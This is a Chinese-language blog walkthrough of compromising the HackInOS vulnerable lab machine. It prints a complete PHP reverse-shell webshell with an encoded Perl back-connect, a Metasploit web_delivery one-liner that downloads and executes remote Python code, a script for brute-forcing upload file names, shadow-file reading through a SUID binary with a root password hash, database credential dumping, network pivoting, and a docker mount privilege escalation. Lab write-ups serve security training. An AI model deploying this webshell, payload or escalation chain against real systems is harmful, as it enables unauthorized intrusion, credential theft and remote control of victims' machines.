HackInOS渗透实战

作者: 城市烈人 | 来源:发表于2019-04-17 09:56 被阅读278次

    HackInOS渗透实战

    该靶机很好玩,上马getshell,msf内网穿透,docker提权,简直帅炸了,无奈我的实力只能打到一半,很多都是查看国外大黑牛的教程……

    靶机ip:192.168.56.101

    nmap全扫

    nmap -sS -Pn -A -p- -n 192.168.56.101
    
    image.png

    8000WEB渗透

    http://192.168.56.101:8000/


    image.png

    又是一个wordpress建站

    http://192.168.56.101:8000/?author=1 得到管理员的用户名Handsome_Container

    image.png

    这个站点有点假,login都指向localhost,未开发完成的

    访问以下robots.txt


    image.png
    User-agent:*
    Disallow:/upload.php
    Disallow:/uploads
    

    访问http://192.168.56.101:8000/upload.php

    image.png

    能上传图片,先右键下源码,发现最低端有个提示


    image.png

    访问看看 https://github.com/fatihhcelik/Vulnerable-Machine---Hint

    image.png

    看来靶机作者有提示

    查看下upload.php的源码:

    image.png

    发现了上传必须以图片的格式 (png或者gif),但并没有过滤后缀名,尝试头部添加gif识别

    上传后在图片名称后添加1-100的随机数,并进行md5加密,且全部转为小写

    至此,我们可以上传包含一句话的图片马

    gif98大法,上马getshell

    抓包,改头部,用gif98大法上传图片马

    image.png

    但我们并不知道上传后的路径和名称,所以采用跑目录的方式,爆出上传的反弹shell

    通过python脚本生成shell.php经过md5加密后的名称,然后进行dir爆破

    python源码如下:

    #!/usr/bin/python
                
    
    import hashlib
    
    for i in range(100):
    
        file = "shell.php" + str(i)
    
        hash = hashlib.md5(file.encode())
    
        dir = hash.hexdigest() + ".php"
    
        f = open("dict.txt", "a+")
    
        f.write(dir+"\r\n")
    
        f.close()   
    

    爆破发现了该上传的加密的目录,

    dirb http://192.168.56.101:8000/uploads/ dict.txt
    
    image.png

    但是很快被删除,所以速度要快

    再次尝试上传GIF98头部的反弹shell马

    使用猥琐的php反弹shell马,可过firewall,好用

    <?php 
    function which($pr) { 
    $path = execute("which $pr"); 
    return ($path ? $path : $pr); 
    } 
    function execute($cfe) { 
    $res = ''; 
    if ($cfe) { 
    if(function_exists('exec')) { 
    @exec($cfe,$res); 
    $res = join("\n",$res); 
    } elseif(function_exists('shell_exec')) { 
    $res = @shell_exec($cfe); 
    } elseif(function_exists('system')) { 
    @ob_start(); 
    @system($cfe); 
    $res = @ob_get_contents(); 
    @ob_end_clean(); 
    } elseif(function_exists('passthru')) { 
    @ob_start(); 
    @passthru($cfe); 
    $res = @ob_get_contents(); 
    @ob_end_clean(); 
    } elseif(@is_resource($f = @popen($cfe,"r"))) { 
    $res = ''; 
    while(!@feof($f)) { 
    $res .= @fread($f,1024); 
    } 
    @pclose($f); 
    } 
    } 
    return $res; 
    } 
    function cf($fname,$text){ 
    if($fp=@fopen($fname,'w')) { 
    @fputs($fp,@base64_decode($text)); 
    @fclose($fp); 
    } 
    } 
    $yourip = "192.168.56.102"; 
    $yourport = '4444'; 
    $usedb = array('perl'=>'perl','c'=>'c'); 
    $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". 
    "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". 
    "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". 
    "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". 
    "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". 
    "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". 
    "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; 
    cf('/tmp/.bc',$back_connect); 
    $res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); 
    ?> 
    

    截包上传后,跑目录发现该上传的文件,kali开启nc端口监听,直接反弹

    dirb http://192.168.56.101:8000/uploads/ dict.txt
    
    image.png image.png

    su root

    先用python切一下交互式的shell,好看一点

    python -c 'import pty;pty.spawn("/bin/bash")'
    

    翻一下wordpress的用户和密码,也许等下有用

    image.png

    不妨先寻找下该靶机上可执行的二进制的文件,也许能使用普通用户执行root命令

    find / -perm -4000 2> /dev/null
    
    image.png

    可以使用tail命令查看文件,使用tail尝试查看下passwd或者shadow文件

    直接进入靶机的etc目录下,发现cat没有权限查看shadow,直接用tail

    tail shadow
    

    读不到什么,先用tail --help 查看一下帮助

    发现 -c 参数可以以字节位置读取文件,其他附加参数,-K 可以读1024位

    tail -c1K shadow
    
    image.png

    拿到了root用户的密码hash

    root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7:::
    

    拿去john解下

    image.png

    解出来的密码就是john,登录ssh失败

    直接su root吧

    image.png

    拿到了root下的flag

    Life consists of details..
    

    内网渗透

    msf反弹

    本以为这样就结束了,查看靶机的网络状态,发现靶机自己有一个内网地址 172.18.0.3

    image.png

    看教程,用msf拿反弹shell,进而扫内网,进行内网渗透

    利用msf下的web_delivery模块,先 search web-delivery

    use exploit/multi/script/web_delivery
    

    配置好相关的IP和端口,进而生成一段payload

    image.png
    python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.56.102:8080/YBFZpUoLLv6g9F');exec(r.read());"
    

    将该payload拿到靶机的rootshell下执行,msf等待反弹

    image.png

    msf拿到会话

    image.png

    接下来常规操作

    image.png

    既然msf已经能打到靶机的内网了,就可以直接扫内网的网段

    添加内网路由

    切换一下msf的模块,添加通往靶机的路由

    use post/multi/manage/autoroute
    
    image.png

    通过autoroute已经添加了一跳路由到靶机的eth0

    [+] Route added to subnet 172.18.0.0/255.255.0.0 from eth0
    

    扫描内网网段

    在msf中继续切换到scanner扫描模块下,进行内网扫描

    use auxiliary/scanner/portscan/tcp
    set RHOSTS 172.18.0.1-254
    set THREADS 10
    

    配置好后直接run

    image.png

    好久,扫了好久,终于出来了

    image.png
    [+] 172.18.0.1:           - 172.18.0.1:22 - TCP OPEN
    [+] 172.18.0.3:           - 172.18.0.3:80 - TCP OPEN
    [+] 172.18.0.4:           - 172.18.0.4:2021 - TCP OPEN
    [+] 172.18.0.2:           - 172.18.0.2:3306 - TCP OPEN
    [+] 172.18.0.1:           - 172.18.0.1:8000 - TCP OPEN
    

    可以看到

    172.18.0.4开发了2021

    172.18.0.2开放了3306

    登录0.2段的数据库

    在之前的shell中,发现了wordpress目录下的wp-config.php的配置文件,发现了该数据库的用户名和密码都是wordpress

    mysql -h 172.18.0.2 -uwordpress -p
    
    image.png

    直接进入wordpress数据库找管理员账号和密码

    image.png
    Handsome_Container: $P$BXJ8ZmtYd5lHZOLPgTccLUhaQLxm0L0
    

    再查看下host_ssh_cred表格:

    image.png

    得到用户和密码

    hummingbirdscyber | e10adc3949ba59abbe56e057f20f883e
    

    解md5的hash正好是123456

    拿去ssh登陆

    ssh登陆

    账号密码:hummingbirdscyber: 123456

    查看靶机内网的运行情况

    image.png
    docker images
    

    发现docker中运行的镜像

    按照教程中的提示

    以root权限运行该docker虚拟机,直接拿到root权限

    docker run -v /:/root -i -t ubuntu /bin/bash
    

    直接get flag!!

    总结

    1、该靶机前期自己打了好久,上GIF98图片马getshell之后,发现有内网,我自己的想法是用内网穿透工具reGeory进行扫描,无奈尝试了tunnel_nosocket.php后,kali中的proxychain无法连接,也就无法打穿内网。
    2、坦白讲,那个python爆目录的脚本是国外的一个大黑的 github上的,我的想法是上传后立刻mv到上级目录中,防止被销毁。
    3、拿到假的root进入shell后,发现有docker环境,也是第一次尝试用docker run提权。

    总体来说这个靶机作者很用心,能学到不少东西和方法。

    靶机百度云下载
    链接:https://pan.baidu.com/s/1fhP9DU-Z-UhI2wD4TiiZEg
    提取码:pf5b

    相关文章

      网友评论

        本文标题:HackInOS渗透实战

        本文链接:https://www.haomeiwen.com/subject/gyhgwqtx.html